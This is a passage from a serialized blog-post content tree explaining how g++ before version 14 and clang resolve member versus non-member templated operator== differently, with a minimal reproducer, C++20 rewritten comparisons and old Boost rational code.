",{"type":21,"tag":78,"props":92633,"children":92635},{"className":92634},[],[92636],{"type":26,"value":92552},{"type":26,"value":92638}," member function",{"type":21,"tag":91,"props":92640,"children":92641},{},[92642,92644,92650],{"type":26,"value":92643},"There's also a more generic free ",{"type":21,"tag":78,"props":92645,"children":92647},{"className":92646},[],[92648],{"type":26,"value":92649},"operator==(rational\u003CT>, U)",{"type":26,"value":40907},{"type":21,"tag":22,"props":92652,"children":92653},{},[92654],{"type":21,"tag":8055,"props":92655,"children":92656},{},[92657],{"type":26,"value":92658},"Clang correctly chooses the member function.",{"type":21,"tag":22,"props":92660,"children":92661},{},[92662],{"type":21,"tag":8055,"props":92663,"children":92664},{},[92665],{"type":26,"value":92666},"G++ (before v14) chooses the non-member function.",{"type":21,"tag":22,"props":92668,"children":92669},{},[92670,92672,92677,92679,92686],{"type":26,"value":92671},"Why? Because G++ mishandles ",{"type":21,"tag":8055,"props":92673,"children":92674},{},[92675],{"type":26,"value":92676},"templated conversion + non-exact match",{"type":26,"value":92678},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":21,"tag":29,"props":92680,"children":92683},{"href":92681,"rel":92682},"https://cplusplus.github.io/CWG/issues/532.html",[33],[92684],{"type":26,"value":92685},"CWG532: Member/nonmember operator template partial ordering",{"type":26,"value":355},{"type":21,"tag":114,"props":92688,"children":92690},{"id":92689},"a-minimal-reproducer",[92691],{"type":26,"value":92692},"A Minimal Reproducer",{"type":21,"tag":22,"props":92694,"children":92695},{},[92696],{"type":26,"value":92697},"Let’s see this in action:",{"type":21,"tag":143,"props":92699,"children":92701},{"code":92700,"language":31807,"meta":7,"className":31805,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[92702],{"type":21,"tag":78,"props":92703,"children":92704},{"__ignoreMap":7},[92705,92718,92725,92750,92766,92774,92798,92843,92871,92886,92893,92900,92907,92943,93012,93037,93052,93059,93066,93082,93107,93131],{"type":21,"tag":153,"props":92706,"children":92707},{"class":155,"line":156},[92708,92713],{"type":21,"tag":153,"props":92709,"children":92710},{"style":1751},[92711],{"type":26,"value":92712},"#include",{"type":21,"tag":153,"props":92714,"children":92715},{"style":671},[92716],{"type":26,"value":92717}," \u003Ciostream>\n",{"type":21,"tag":153,"props":92719,"children":92720},{"class":155,"line":166},[92721],{"type":21,"tag":153,"props":92722,"children":92723},{"emptyLinePlaceholder":16},[92724],{"type":26,"value":759},{"type":21,"tag":153,"props":92726,"children":92727},{"class":155,"line":225},[92728,92732,92736,92741,92746],{"type":21,"tag":153,"props":92729,"children":92730},{"style":170},[92731],{"type":26,"value":68510},{"type":21,"tag":153,"props":92733,"children":92734},{"style":160},[92735],{"type":26,"value":4094},{"type":21,"tag":153,"props":92737,"children":92738},{"style":170},[92739],{"type":26,"value":92740},"typename",{"type":21,"tag":153,"props":92742,"children":92743},{"style":214},[92744],{"type":26,"value":92745}," IntType",{"type":21,"tag":153,"props":92747,"children":92748},{"style":160},[92749],{"type":26,"value":4308},{"type":21,"tag":153,"props":92751,"children":92752},{"class":155,"line":239},[92753,92757,92762],{"type":21,"tag":153,"props":92754,"children":92755},{"style":170},[92756],{"type":26,"value":72705},{"type":21,"tag":153,"props":92758,"children":92759},{"style":214},[92760],{"type":26,"value":92761}," rational",{"type":21,"tag":153,"props":92763,"children":92764},{"style":160},[92765],{"type":26,"value":236},{"type":21,"tag":153,"props":92767,"children":92768},{"class":155,"line":382},[92769],{"type":21,"tag":153,"props":92770,"children":92771},{"style":170},[92772],{"type":26,"value":92773},"public:\n",{"type":21,"tag":153,"props":92775,"children":92776},{"class":155,"line":501},[92777,92782,92786,92790,92794],{"type":21,"tag":153,"props":92778,"children":92779},{"style":170},[92780],{"type":26,"value":92781},"    template",{"type":21,"tag":153,"props":92783,"children":92784},{"style":160},[92785],{"type":26,"value":4094},{"type":21,"tag":153,"props":92787,"children":92788},{"style":170},[92789],{"type":26,"value":72705},{"type":21,"tag":153,"props":92791,"children":92792},{"style":214},[92793],{"type":26,"value":8648},{"type":21,"tag":153,"props":92795,"children":92796},{"style":160},[92797],{"type":26,"value":4308},{"type":21,"tag":153,"props":92799,"children":92800},{"class":155,"line":533},[92801,92805,92810,92815,92819,92823,92827,92831,92835,92839],{"type":21,"tag":153,"props":92802,"children":92803},{"style":170},[92804],{"type":26,"value":48762},{"type":21,"tag":153,"props":92806,"children":92807},{"style":170},[92808],{"type":26,"value":92809}," operator",{"type":21,"tag":153,"props":92811,"children":92812},{"style":160},[92813],{"type":26,"value":92814},"==(",{"type":21,"tag":153,"props":92816,"children":92817},{"style":170},[92818],{"type":26,"value":5085},{"type":21,"tag":153,"props":92820,"children":92821},{"style":214},[92822],{"type":26,"value":8648},{"type":21,"tag":153,"props":92824,"children":92825},{"style":170},[92826],{"type":26,"value":1974},{"type":21,"tag":153,"props":92828,"children":92829},{"style":192},[92830],{"type":26,"value":6143},{"type":21,"tag":153,"props":92832,"children":92833},{"style":160},[92834],{"type":26,"value":2362},{"type":21,"tag":153,"props":92836,"children":92837},{"style":170},[92838],{"type":26,"value":5085},{"type":21,"tag":153,"props":92840,"children":92841},{"style":160},[92842],{"type":26,"value":236},{"type":21,"tag":153,"props":92844,"children":92845},{"class":155,"line":542},[92846,92851,92856,92861,92866],{"type":21,"tag":153,"props":92847,"children":92848},{"style":160},[92849],{"type":26,"value":92850},"        std::cout ",{"type":21,"tag":153,"props":92852,"children":92853},{"style":198},[92854],{"type":26,"value":92855},"\u003C\u003C",{"type":21,"tag":153,"props":92857,"children":92858},{"style":671},[92859],{"type":26,"value":92860}," \"clang++ resolved member\"",{"type":21,"tag":153,"props":92862,"children":92863},{"style":198},[92864],{"type":26,"value":92865}," \u003C\u003C",{"type":21,"tag":153,"props":92867,"children":92868},{"style":160},[92869],{"type":26,"value":92870}," std::endl;\n",{"type":21,"tag":153,"props":92872,"children":92873},{"class":155,"line":762},[92874,92878,92882],{"type":21,"tag":153,"props":92875,"children":92876},{"style":1751},[92877],{"type":26,"value":18441},{"type":21,"tag":153,"props":92879,"children":92880},{"style":170},[92881],{"type":26,"value":15187},{"type":21,"tag":153,"props":92883,"children":92884},{"style":160},[92885],{"type":26,"value":1759},{"type":21,"tag":153,"props":92887,"children":92888},{"class":155,"line":776},[92889],{"type":21,"tag":153,"props":92890,"children":92891},{"style":160},[92892],{"type":26,"value":539},{"type":21,"tag":153,"props":92894,"children":92895},{"class":155,"line":795},[92896],{"type":21,"tag":153,"props":92897,"children":92898},{"style":160},[92899],{"type":26,"value":19275},{"type":21,"tag":153,"props":92901,"children":92902},{"class":155,"line":808},[92903],{"type":21,"tag":153,"props":92904,"children":92905},{"emptyLinePlaceholder":16},[92906],{"type":26,"value":759},{"type":21,"tag":153,"props":92908,"children":92909},{"class":155,"line":820},[92910,92914,92918,92922,92927,92931,92935,92939],{"type":21,"tag":153,"props":92911,"children":92912},{"style":170},[92913],{"type":26,"value":68510},{"type":21,"tag":153,"props":92915,"children":92916},{"style":160},[92917],{"type":26,"value":4094},{"type":21,"tag":153,"props":92919,"children":92920},{"style":170},[92921],{"type":26,"value":72705},{"type":21,"tag":153,"props":92923,"children":92924},{"style":214},[92925],{"type":26,"value":92926}," Arg",{"type":21,"tag":153,"props":92928,"children":92929},{"style":160},[92930],{"type":26,"value":1670},{"type":21,"tag":153,"props":92932,"children":92933},{"style":170},[92934],{"type":26,"value":72705},{"type":21,"tag":153,"props":92936,"children":92937},{"style":214},[92938],{"type":26,"value":92745},{"type":21,"tag":153,"props":92940,"children":92941},{"style":160},[92942],{"type":26,"value":4308},{"type":21,"tag":153,"props":92944,"children":92945},{"class":155,"line":842},[92946,92950,92954,92958,92962,92966,92970,92975,92979,92983,92987,92991,92995,92999,93003,93008],{"type":21,"tag":153,"props":92947,"children":92948},{"style":170},[92949],{"type":26,"value":32380},{"type":21,"tag":153,"props":92951,"children":92952},{"style":170},[92953],{"type":26,"value":92809},{"type":21,"tag":153,"props":92955,"children":92956},{"style":160},[92957],{"type":26,"value":92814},{"type":21,"tag":153,"props":92959,"children":92960},{"style":170},[92961],{"type":26,"value":5085},{"type":21,"tag":153,"props":92963,"children":92964},{"style":214},[92965],{"type":26,"value":92761},{"type":21,"tag":153,"props":92967,"children":92968},{"style":160},[92969],{"type":26,"value":8537},{"type":21,"tag":153,"props":92971,"children":92972},{"style":214},[92973],{"type":26,"value":92974},"IntType",{"type":21,"tag":153,"props":92976,"children":92977},{"style":160},[92978],{"type":26,"value":13182},{"type":21,"tag":153,"props":92980,"children":92981},{"style":170},[92982],{"type":26,"value":1974},{"type":21,"tag":153,"props":92984,"children":92985},{"style":192},[92986],{"type":26,"value":92133},{"type":21,"tag":153,"props":92988,"children":92989},{"style":160},[92990],{"type":26,"value":1670},{"type":21,"tag":153,"props":92992,"children":92993},{"style":170},[92994],{"type":26,"value":5085},{"type":21,"tag":153,"props":92996,"children":92997},{"style":214},[92998],{"type":26,"value":92926},{"type":21,"tag":153,"props":93000,"children":93001},{"style":170},[93002],{"type":26,"value":1974},{"type":21,"tag":153,"props":93004,"children":93005},{"style":192},[93006],{"type":26,"value":93007}," b",{"type":21,"tag":153,"props":93009,"children":93010},{"style":160},[93011],{"type":26,"value":2659},{"type":21,"tag":153,"props":93013,"children":93014},{"class":155,"line":3204},[93015,93020,93024,93029,93033],{"type":21,"tag":153,"props":93016,"children":93017},{"style":160},[93018],{"type":26,"value":93019},"    std::cout ",{"type":21,"tag":153,"props":93021,"children":93022},{"style":198},[93023],{"type":26,"value":92855},{"type":21,"tag":153,"props":93025,"children":93026},{"style":671},[93027],{"type":26,"value":93028}," \"g++ \u003C14 resolved non-member\"",{"type":21,"tag":153,"props":93030,"children":93031},{"style":198},[93032],{"type":26,"value":92865},{"type":21,"tag":153,"props":93034,"children":93035},{"style":160},[93036],{"type":26,"value":92870},{"type":21,"tag":153,"props":93038,"children":93039},{"class":155,"line":3230},[93040,93044,93048],{"type":21,"tag":153,"props":93041,"children":93042},{"style":1751},[93043],{"type":26,"value":19687},{"type":21,"tag":153,"props":93045,"children":93046},{"style":170},[93047],{"type":26,"value":11782},{"type":21,"tag":153,"props":93049,"children":93050},{"style":160},[93051],{"type":26,"value":1759},{"type":21,"tag":153,"props":93053,"children":93054},{"class":155,"line":3239},[93055],{"type":21,"tag":153,"props":93056,"children":93057},{"style":160},[93058],{"type":26,"value":548},{"type":21,"tag":153,"props":93060,"children":93061},{"class":155,"line":3253},[93062],{"type":21,"tag":153,"props":93063,"children":93064},{"emptyLinePlaceholder":16},[93065],{"type":26,"value":759},{"type":21,"tag":153,"props":93067,"children":93068},{"class":155,"line":3301},[93069,93073,93078],{"type":21,"tag":153,"props":93070,"children":93071},{"style":170},[93072],{"type":26,"value":21743},{"type":21,"tag":153,"props":93074,"children":93075},{"style":181},[93076],{"type":26,"value":93077}," main",{"type":21,"tag":153,"props":93079,"children":93080},{"style":160},[93081],{"type":26,"value":18433},{"type":21,"tag":153,"props":93083,"children":93084},{"class":155,"line":3346},[93085,93090,93094,93098,93102],{"type":21,"tag":153,"props":93086,"children":93087},{"style":160},[93088],{"type":26,"value":93089},"    rational",{"type":21,"tag":153,"props":93091,"children":93092},{"style":198},[93093],{"type":26,"value":8537},{"type":21,"tag":153,"props":93095,"children":93096},{"style":170},[93097],{"type":26,"value":21743},{"type":21,"tag":153,"props":93099,"children":93100},{"style":198},[93101],{"type":26,"value":13182},{"type":21,"tag":153,"props":93103,"children":93104},{"style":160},[93105],{"type":26,"value":93106}," r;\n",{"type":21,"tag":153,"props":93108,"children":93109},{"class":155,"line":3355},[93110,93114,93119,93123,93127],{"type":21,"tag":153,"props":93111,"children":93112},{"style":1751},[93113],{"type":26,"value":19687},{"type":21,"tag":153,"props":93115,"children":93116},{"style":160},[93117],{"type":26,"value":93118}," r ",{"type":21,"tag":153,"props":93120,"children":93121},{"style":198},[93122],{"type":26,"value":1694},{"type":21,"tag":153,"props":93124,"children":93125},{"style":300},[93126],{"type":26,"value":5799},{"type":21,"tag":153,"props":93128,"children":93129},{"style":160},[93130],{"type":26,"value":1759},{"type":21,"tag":153,"props":93132,"children":93133},{"class":155,"line":3364},[93134],{"type":21,"tag":153,"props":93135,"children":93136},{"style":160},[93137],{"type":26,"value":548},{"type":21,"tag":87,"props":93139,"children":93140},{},[93141],{"type":21,"tag":91,"props":93142,"children":93143},{},[93144],{"type":26,"value":93145},"Compile with g++\u003C14:",{"type":21,"tag":143,"props":93147,"children":93149},{"code":93148,"language":6974,"meta":7,"className":6975,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[93150],{"type":21,"tag":78,"props":93151,"children":93152},{"__ignoreMap":7},[93153],{"type":21,"tag":153,"props":93154,"children":93155},{"class":155,"line":156},[93156,93161,93166,93171,93176,93180,93185],{"type":21,"tag":153,"props":93157,"children":93158},{"style":181},[93159],{"type":26,"value":93160},"g++",{"type":21,"tag":153,"props":93162,"children":93163},{"style":671},[93164],{"type":26,"value":93165}," -std=c++17",{"type":21,"tag":153,"props":93167,"children":93168},{"style":671},[93169],{"type":26,"value":93170}," main.cpp",{"type":21,"tag":153,"props":93172,"children":93173},{"style":671},[93174],{"type":26,"value":93175}," -o",{"type":21,"tag":153,"props":93177,"children":93178},{"style":671},[93179],{"type":26,"value":33372},{"type":21,"tag":153,"props":93181,"children":93182},{"style":160},[93183],{"type":26,"value":93184}," && ",{"type":21,"tag":153,"props":93186,"children":93187},{"style":181},[93188],{"type":26,"value":93189},"./test\n",{"type":21,"tag":22,"props":93191,"children":93192},{},[93193],{"type":26,"value":93194},"Output (on g++ 11.4):",{"type":21,"tag":143,"props":93196,"children":93198},{"code":93197},"g++ \u003C14 resolved non-member\n",[93199],{"type":21,"tag":78,"props":93200,"children":93201},{"__ignoreMap":7},[93202],{"type":26,"value":93197},{"type":21,"tag":87,"props":93204,"children":93205},{},[93206],{"type":21,"tag":91,"props":93207,"children":93208},{},[93209],{"type":26,"value":93210},"Compile with clang++:",{"type":21,"tag":143,"props":93212,"children":93214},{"code":93213,"language":6974,"meta":7,"className":6975,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[93215],{"type":21,"tag":78,"props":93216,"children":93217},{"__ignoreMap":7},[93218],{"type":21,"tag":153,"props":93219,"children":93220},{"class":155,"line":156},[93221,93226,93230,93234,93238,93242,93246],{"type":21,"tag":153,"props":93222,"children":93223},{"style":181},[93224],{"type":26,"value":93225},"clang++",{"type":21,"tag":153,"props":93227,"children":93228},{"style":671},[93229],{"type":26,"value":93165},{"type":21,"tag":153,"props":93231,"children":93232},{"style":671},[93233],{"type":26,"value":93170},{"type":21,"tag":153,"props":93235,"children":93236},{"style":671},[93237],{"type":26,"value":93175},{"type":21,"tag":153,"props":93239,"children":93240},{"style":671},[93241],{"type":26,"value":33372},{"type":21,"tag":153,"props":93243,"children":93244},{"style":160},[93245],{"type":26,"value":93184},{"type":21,"tag":153,"props":93247,"children":93248},{"style":181},[93249],{"type":26,"value":93189},{"type":21,"tag":22,"props":93251,"children":93252},{},[93253],{"type":26,"value":93254},"Output:",{"type":21,"tag":143,"props":93256,"children":93258},{"code":93257},"clang++ resolved member\n",[93259],{"type":21,"tag":78,"props":93260,"children":93261},{"__ignoreMap":7},[93262],{"type":26,"value":93257},{"type":21,"tag":22,"props":93264,"children":93265},{},[93266],{"type":26,"value":93267},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":21,"tag":21491,"props":93269,"children":93270},{},[],{"type":21,"tag":66,"props":93272,"children":93274},{"id":93273},"part-ii-c20s-symmetric-comparison-feature",[93275],{"type":26,"value":93276},"Part II: C++20’s Symmetric Comparison Feature",{"type":21,"tag":114,"props":93278,"children":93280},{"id":93279},"what-changed-in-c20",[93281],{"type":26,"value":93282},"What Changed in C++20?",{"type":21,"tag":22,"props":93284,"children":93285},{},[93286,93288,93301,93302,93307],{"type":26,"value":93287},"C++20 introduced the ",{"type":21,"tag":29,"props":93289,"children":93292},{"href":93290,"rel":93291},"https://en.cppreference.com/w/cpp/language/operator_comparison",[33],[93293,93295],{"type":26,"value":93294},"spaceship operator ",{"type":21,"tag":78,"props":93296,"children":93298},{"className":93297},[],[93299],{"type":26,"value":93300},"\u003C=>",{"type":26,"value":52},{"type":21,"tag":8055,"props":93303,"children":93304},{},[93305],{"type":26,"value":93306},"defaulted comparison rewrites",{"type":26,"value":355},{"type":21,"tag":22,"props":93309,"children":93310},{},[93311,93313,93318],{"type":26,"value":93312},"When you define a two-argument ",{"type":21,"tag":78,"props":93314,"children":93316},{"className":93315},[],[93317],{"type":26,"value":92552},{"type":26,"value":93319},", C++20 may implicitly define the \"reversed\" version:",{"type":21,"tag":87,"props":93321,"children":93322},{},[93323,93334],{"type":21,"tag":91,"props":93324,"children":93325},{},[93326,93328],{"type":26,"value":93327},"If you define: ",{"type":21,"tag":78,"props":93329,"children":93331},{"className":93330},[],[93332],{"type":26,"value":93333},"bool operator==(T1, T2);",{"type":21,"tag":91,"props":93335,"children":93336},{},[93337,93339,93345],{"type":26,"value":93338},"Then ",{"type":21,"tag":78,"props":93340,"children":93342},{"className":93341},[],[93343],{"type":26,"value":93344},"T2 == T1",{"type":26,"value":93346}," may call the same function by reversing the arguments.",{"type":21,"tag":22,"props":93348,"children":93349},{},[93350,93352,93357,93358,93363,93365,93371,93373,93378],{"type":26,"value":93351},"This rewrite is ",{"type":21,"tag":8055,"props":93353,"children":93354},{},[93355],{"type":26,"value":93356},"recursive",{"type":26,"value":18031},{"type":21,"tag":78,"props":93359,"children":93361},{"className":93360},[],[93362],{"type":26,"value":92544},{"type":26,"value":93364}," becomes ",{"type":21,"tag":78,"props":93366,"children":93368},{"className":93367},[],[93369],{"type":26,"value":93370},"b == a",{"type":26,"value":93372},", which becomes ",{"type":21,"tag":78,"props":93374,"children":93376},{"className":93375},[],[93377],{"type":26,"value":92544},{"type":26,"value":93379}," again, and so on — if not handled carefully.",{"type":21,"tag":22,"props":93381,"children":93382},{},[93383],{"type":26,"value":93384},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":21,"tag":21491,"props":93386,"children":93387},{},[],{"type":21,"tag":66,"props":93389,"children":93391},{"id":93390},"part-iii-the-boost-trapdoor",[93392],{"type":26,"value":93393},"Part III: The Boost Trapdoor",{"type":21,"tag":22,"props":93395,"children":93396},{},[93397,93399,93405,93407,93412],{"type":26,"value":93398},"The old Boost ",{"type":21,"tag":78,"props":93400,"children":93402},{"className":93401},[],[93403],{"type":26,"value":93404},"rational",{"type":26,"value":93406}," class (prior to v1.75) defined both member function and non-member function of ",{"type":21,"tag":78,"props":93408,"children":93410},{"className":93409},[],[93411],{"type":26,"value":92552},{"type":26,"value":201},{"type":21,"tag":143,"props":93414,"children":93416},{"code":93415,"language":31807,"meta":7,"className":31805,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[93417],{"type":21,"tag":78,"props":93418,"children":93419},{"__ignoreMap":7},[93420,93455,93478,93490,93497,93504,93511,93518,93525,93548,93636,93643,93694,93701,93708,93715,93722,93757,93765,93793,93832,93897,93904,93924],{"type":21,"tag":153,"props":93421,"children":93422},{"class":155,"line":156},[93423,93427,93431,93435,93439,93443,93447,93451],{"type":21,"tag":153,"props":93424,"children":93425},{"style":170},[93426],{"type":26,"value":68510},{"type":21,"tag":153,"props":93428,"children":93429},{"style":160},[93430],{"type":26,"value":4094},{"type":21,"tag":153,"props":93432,"children":93433},{"style":170},[93434],{"type":26,"value":72705},{"type":21,"tag":153,"props":93436,"children":93437},{"style":214},[93438],{"type":26,"value":92926},{"type":21,"tag":153,"props":93440,"children":93441},{"style":160},[93442],{"type":26,"value":1670},{"type":21,"tag":153,"props":93444,"children":93445},{"style":170},[93446],{"type":26,"value":72705},{"type":21,"tag":153,"props":93448,"children":93449},{"style":214},[93450],{"type":26,"value":92745},{"type":21,"tag":153,"props":93452,"children":93453},{"style":160},[93454],{"type":26,"value":4308},{"type":21,"tag":153,"props":93456,"children":93457},{"class":155,"line":166},[93458,93462,93466,93470,93474],{"type":21,"tag":153,"props":93459,"children":93460},{"style":170},[93461],{"type":26,"value":68510},{"type":21,"tag":153,"props":93463,"children":93464},{"style":160},[93465],{"type":26,"value":4094},{"type":21,"tag":153,"props":93467,"children":93468},{"style":170},[93469],{"type":26,"value":92740},{"type":21,"tag":153,"props":93471,"children":93472},{"style":214},[93473],{"type":26,"value":92745},{"type":21,"tag":153,"props":93475,"children":93476},{"style":160},[93477],{"type":26,"value":4308},{"type":21,"tag":153,"props":93479,"children":93480},{"class":155,"line":225},[93481,93485],{"type":21,"tag":153,"props":93482,"children":93483},{"style":170},[93484],{"type":26,"value":72705},{"type":21,"tag":153,"props":93486,"children":93487},{"style":214},[93488],{"type":26,"value":93489}," rational\n",{"type":21,"tag":153,"props":93491,"children":93492},{"class":155,"line":239},[93493],{"type":21,"tag":153,"props":93494,"children":93495},{"style":160},[93496],{"type":26,"value":13601},{"type":21,"tag":153,"props":93498,"children":93499},{"class":155,"line":382},[93500],{"type":21,"tag":153,"props":93501,"children":93502},{"style":160},[93503],{"type":26,"value":23033},{"type":21,"tag":153,"props":93505,"children":93506},{"class":155,"line":501},[93507],{"type":21,"tag":153,"props":93508,"children":93509},{"style":170},[93510],{"type":26,"value":92773},{"type":21,"tag":153,"props":93512,"children":93513},{"class":155,"line":533},[93514],{"type":21,"tag":153,"props":93515,"children":93516},{"style":160},[93517],{"type":26,"value":23033},{"type":21,"tag":153,"props":93519,"children":93520},{"class":155,"line":542},[93521],{"type":21,"tag":153,"props":93522,"children":93523},{"style":160},[93524],{"type":26,"value":64079},{"type":21,"tag":153,"props":93526,"children":93527},{"class":155,"line":762},[93528,93532,93536,93540,93544],{"type":21,"tag":153,"props":93529,"children":93530},{"style":170},[93531],{"type":26,"value":92781},{"type":21,"tag":153,"props":93533,"children":93534},{"style":160},[93535],{"type":26,"value":4094},{"type":21,"tag":153,"props":93537,"children":93538},{"style":170},[93539],{"type":26,"value":72705},{"type":21,"tag":153,"props":93541,"children":93542},{"style":214},[93543],{"type":26,"value":8648},{"type":21,"tag":153,"props":93545,"children":93546},{"style":160},[93547],{"type":26,"value":4308},{"type":21,"tag":153,"props":93549,"children":93550},{"class":155,"line":776},[93551,93556,93560,93565,93569,93573,93577,93582,93586,93590,93594,93598,93602,93606,93611,93615,93619,93623,93627,93631],{"type":21,"tag":153,"props":93552,"children":93553},{"style":160},[93554],{"type":26,"value":93555},"    BOOST_CONSTEXPR ",{"type":21,"tag":153,"props":93557,"children":93558},{"style":170},[93559],{"type":26,"value":92740},{"type":21,"tag":153,"props":93561,"children":93562},{"style":160},[93563],{"type":26,"value":93564}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":21,"tag":153,"props":93566,"children":93567},{"style":214},[93568],{"type":26,"value":8717},{"type":21,"tag":153,"props":93570,"children":93571},{"style":160},[93572],{"type":26,"value":1670},{"type":21,"tag":153,"props":93574,"children":93575},{"style":214},[93576],{"type":26,"value":92974},{"type":21,"tag":153,"props":93578,"children":93579},{"style":160},[93580],{"type":26,"value":93581},">::",{"type":21,"tag":153,"props":93583,"children":93584},{"style":214},[93585],{"type":26,"value":41843},{"type":21,"tag":153,"props":93587,"children":93588},{"style":160},[93589],{"type":26,"value":1670},{"type":21,"tag":153,"props":93591,"children":93592},{"style":170},[93593],{"type":26,"value":32380},{"type":21,"tag":153,"props":93595,"children":93596},{"style":160},[93597],{"type":26,"value":93581},{"type":21,"tag":153,"props":93599,"children":93600},{"style":214},[93601],{"type":26,"value":35450},{"type":21,"tag":153,"props":93603,"children":93604},{"style":170},[93605],{"type":26,"value":92809},{"type":21,"tag":153,"props":93607,"children":93608},{"style":160},[93609],{"type":26,"value":93610},"== (",{"type":21,"tag":153,"props":93612,"children":93613},{"style":170},[93614],{"type":26,"value":5085},{"type":21,"tag":153,"props":93616,"children":93617},{"style":214},[93618],{"type":26,"value":8648},{"type":21,"tag":153,"props":93620,"children":93621},{"style":170},[93622],{"type":26,"value":1974},{"type":21,"tag":153,"props":93624,"children":93625},{"style":192},[93626],{"type":26,"value":6143},{"type":21,"tag":153,"props":93628,"children":93629},{"style":160},[93630],{"type":26,"value":2362},{"type":21,"tag":153,"props":93632,"children":93633},{"style":170},[93634],{"type":26,"value":93635},"const\n",{"type":21,"tag":153,"props":93637,"children":93638},{"class":155,"line":795},[93639],{"type":21,"tag":153,"props":93640,"children":93641},{"style":160},[93642],{"type":26,"value":2562},{"type":21,"tag":153,"props":93644,"children":93645},{"class":155,"line":808},[93646,93651,93656,93660,93664,93668,93672,93676,93680,93685,93689],{"type":21,"tag":153,"props":93647,"children":93648},{"style":1751},[93649],{"type":26,"value":93650},"       return",{"type":21,"tag":153,"props":93652,"children":93653},{"style":160},[93654],{"type":26,"value":93655}," ((den ",{"type":21,"tag":153,"props":93657,"children":93658},{"style":198},[93659],{"type":26,"value":1694},{"type":21,"tag":153,"props":93661,"children":93662},{"style":181},[93663],{"type":26,"value":92745},{"type":21,"tag":153,"props":93665,"children":93666},{"style":160},[93667],{"type":26,"value":189},{"type":21,"tag":153,"props":93669,"children":93670},{"style":300},[93671],{"type":26,"value":3033},{"type":21,"tag":153,"props":93673,"children":93674},{"style":160},[93675],{"type":26,"value":11562},{"type":21,"tag":153,"props":93677,"children":93678},{"style":198},[93679],{"type":26,"value":75492},{"type":21,"tag":153,"props":93681,"children":93682},{"style":160},[93683],{"type":26,"value":93684}," (num ",{"type":21,"tag":153,"props":93686,"children":93687},{"style":198},[93688],{"type":26,"value":1694},{"type":21,"tag":153,"props":93690,"children":93691},{"style":160},[93692],{"type":26,"value":93693}," i));\n",{"type":21,"tag":153,"props":93695,"children":93696},{"class":155,"line":820},[93697],{"type":21,"tag":153,"props":93698,"children":93699},{"style":160},[93700],{"type":26,"value":539},{"type":21,"tag":153,"props":93702,"children":93703},{"class":155,"line":842},[93704],{"type":21,"tag":153,"props":93705,"children":93706},{"style":160},[93707],{"type":26,"value":23033},{"type":21,"tag":153,"props":93709,"children":93710},{"class":155,"line":3204},[93711],{"type":21,"tag":153,"props":93712,"children":93713},{"style":160},[93714],{"type":26,"value":548},{"type":21,"tag":153,"props":93716,"children":93717},{"class":155,"line":3230},[93718],{"type":21,"tag":153,"props":93719,"children":93720},{"emptyLinePlaceholder":16},[93721],{"type":26,"value":759},{"type":21,"tag":153,"props":93723,"children":93724},{"class":155,"line":3239},[93725,93729,93733,93737,93741,93745,93749,93753],{"type":21,"tag":153,"props":93726,"children":93727},{"style":170},[93728],{"type":26,"value":68510},{"type":21,"tag":153,"props":93730,"children":93731},{"style":160},[93732],{"type":26,"value":4094},{"type":21,"tag":153,"props":93734,"children":93735},{"style":170},[93736],{"type":26,"value":72705},{"type":21,"tag":153,"props":93738,"children":93739},{"style":214},[93740],{"type":26,"value":92926},{"type":21,"tag":153,"props":93742,"children":93743},{"style":160},[93744],{"type":26,"value":1670},{"type":21,"tag":153,"props":93746,"children":93747},{"style":170},[93748],{"type":26,"value":72705},{"type":21,"tag":153,"props":93750,"children":93751},{"style":214},[93752],{"type":26,"value":92745},{"type":21,"tag":153,"props":93754,"children":93755},{"style":160},[93756],{"type":26,"value":4308},{"type":21,"tag":153,"props":93758,"children":93759},{"class":155,"line":3253},[93760],{"type":21,"tag":153,"props":93761,"children":93762},{"style":160},[93763],{"type":26,"value":93764},"BOOST_CONSTEXPR\n",{"type":21,"tag":153,"props":93766,"children":93767},{"class":155,"line":3301},[93768,93773,93778,93783,93788],{"type":21,"tag":153,"props":93769,"children":93770},{"style":170},[93771],{"type":26,"value":93772},"inline",{"type":21,"tag":153,"props":93774,"children":93775},{"style":170},[93776],{"type":26,"value":93777}," typename",{"type":21,"tag":153,"props":93779,"children":93780},{"style":160},[93781],{"type":26,"value":93782}," boost::",{"type":21,"tag":153,"props":93784,"children":93785},{"style":214},[93786],{"type":26,"value":93787},"enable_if_c",{"type":21,"tag":153,"props":93789,"children":93790},{"style":198},[93791],{"type":26,"value":93792}," \u003C\n",{"type":21,"tag":153,"props":93794,"children":93795},{"class":155,"line":3346},[93796,93801,93806,93810,93814,93819,93823,93827],{"type":21,"tag":153,"props":93797,"children":93798},{"style":160},[93799],{"type":26,"value":93800},"   